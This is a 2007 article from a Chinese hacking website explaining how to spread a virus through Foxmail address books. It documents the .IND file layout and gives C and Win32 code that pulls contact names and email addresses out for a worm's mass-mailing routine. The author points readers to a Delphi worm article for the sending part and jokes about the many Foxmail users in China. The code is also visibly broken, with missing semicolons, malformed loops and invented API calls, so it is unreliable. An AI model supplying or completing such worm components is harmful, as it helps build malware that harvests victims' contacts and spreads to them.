我爱黑客网首页 设为首页
加入收藏
联系我们
 首 页  技术文章 下载中心 站长学院 交流论坛
 软件:
 文章:        教程:
 推荐: 我爱黑客网论坛
 
 
 
 
   
黑软: Q Q 软件 木马间谍 探嗅监听 溢出攻击 加密解密 漏洞扫描 脚本注入 远程控制 综合利用 聊天工具  
 
技术文章: 爱黑新闻 | 黑客攻防 | 网络技术 | 程序设计 | 系统操作 | 本站动态 | 业界动态 | 安全公告 | 病毒公告 | 八卦黑客
 
 
您当前的位置:我爱黑客 -> 程序设计 -> C++ -> C++文件 -> 文章内容  
栏目导航
· C++综合 · C++通信
· C++视图 · C++图象
· C++系统 · C++多媒体
· C++界面 · C++文件
· C++数据库 · C++网络
热门文章
· 利用C++ Builder 设计..
· 利用C++ Builder设计实..
· 自解密的加密程序的制..
· C++ Builder中各种资源..
· 编写感染COM与EXE文件..
· 如何利用C++ Builder实..
· 文件关联型木马的编程..
· 用Foxmail的地址传播病..
· 共享软件的注册加密法..
· 还未结束就能把自身删..
· 浏览文件的一段代码
· 给想写嵌入式病毒和木..
相关文章

· [组图] 用FreeCHM免费..
· 利用FSO对象检测文件..
· 黑客传播病毒庆祝印..
· 黑客传播病毒电脑频..
· 黑客借超级女声传播..
· 英国政府爱用Firefo..
· 中国首例故意传播病..
· 公安部将加强网络预..
· 客用Wikipedia传播病..
· 全国首例网上传播病..
查看更多与用Foxmail的地址传播病毒相关内容

用Foxmail的地址传播病毒
作者:幽火  来源:www.5ihack.com  发布时间:2007-1-8 19:20:03  发布人:ghostfire

减小字体 增大字体

  用Foxmail的地址传播病毒

  {注:看了whaoye的《浅谈用delphi写蠕虫病毒》后...}

  foxmail的地址存在.IND里,用16进制的编辑器打开该文档会发现

  ::

  文件头的范围为00H-39H,共64个字节。

  05H保存纪录的个数,12H-21H记录地址薄名称。

  记录部分40H开始是第一条记录,每条记录长B0H

  每条记录的00H是记录号,04H是删除标记,该字节为1表明此记录被用户删除

  11H是组记录,该字节为1表明此记录为一条组记录;

  12H是名称的长度,最大为20H;

  13H-32H是名称内容,33H是邮件地址长度,最大为40H,34H-73H是邮件地址内容。。。

  下面我们写一段代码用于从.IND文件中将地址提出来,然后...(看你的想象力了,whaoye

  已经将发送方面写的很清楚了,不用我再重复了)

  我用C写的代码,delphi下的代码是不同的,大家可以自行更改...

  (我没用API,原因是我用api写的在测试时,除了几次错误,以后有时间,一定补上)

  file*fp_addr
char*srcname
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=fopen(srcname,"rb"))==null)
{exit(-1)}
fseek(fp_addr,0x40,seek_set)
while(!feof(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name[i]='\0'
for(i=0;i<0x41;i++)
email[i]='\0'
fread(recbuf,1,0xb0,fp_addr)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name[i]=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email[i]=recbuf[i+0x34]
}
/*此处添加处理name(收件人名),email(收件人地址)的程序*/
}
fclose(fp_addr)

  好了,既然有了读取foxmail中地址的方法,再利用搜索方法找出所有的.IND文件,

  参照whaoye的文章就可以写出...

  {后记::foxmail在中国的用户量是很多的,如果利用这种方法写出病毒来...hahaha}

  {补记::

  API方法

  handle fp_addr
char*srcname
DWORD dwVes
char headbuf[0x41],recbuf[0xb1]
int i;
if(fp_addr=CreateFile(srcname,GENRIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0))==INVALID_HANDLE_VALUE)
{RETURN -1}
SetFilePointer(fp_addr,0x40,0,File_Begin)
while(!GetFilePointer(fp_addr))
{
char name[0x21],email[0x41]
for(i=0;i<0x21;i++)
name[i]='\0'
for(i=0;i<0x41;i++)
email[i]='\0'
ReadFile(fp_addr,recbuf,0xb0,&dwVes,0)
if(recbuf[0x4]==1)
{continue;}
if(recbuf[0x11]==1)
{continue;}
for(i=0;i<recbuf[0x21],i++)
{
if(recbuf[i+0x13]==0)break
name[i]=recbuf[i+0x13]
}
for(i=0;i<recbuf[0x33],i++)
{
if(recbuf[i+0x34]==0)break
email[i]=recbuf[i+0x34]
}
//此处添加处理name(收件人名),email(收件人地址)的程序
}
CloseHandle(fp_addr)

查看更多与用Foxmail的地址传播病毒相关内容

[ ] [返回上一页] [打 印] [收 藏]
上一篇文章:
下一篇文章:
      共享软件的注册加密法       文件关联型木马的编程思路
∷相关文章评论∷   (评论内容只代表网友观点,与本站立场无关!) [发表评论]
 
 
 
 
晋ICP备05008232   维护网络安全、传播安全技术才是我们的目标! 
 
关于本站 - 网站帮助 - - 下载声明 - 友情连接 -网站地图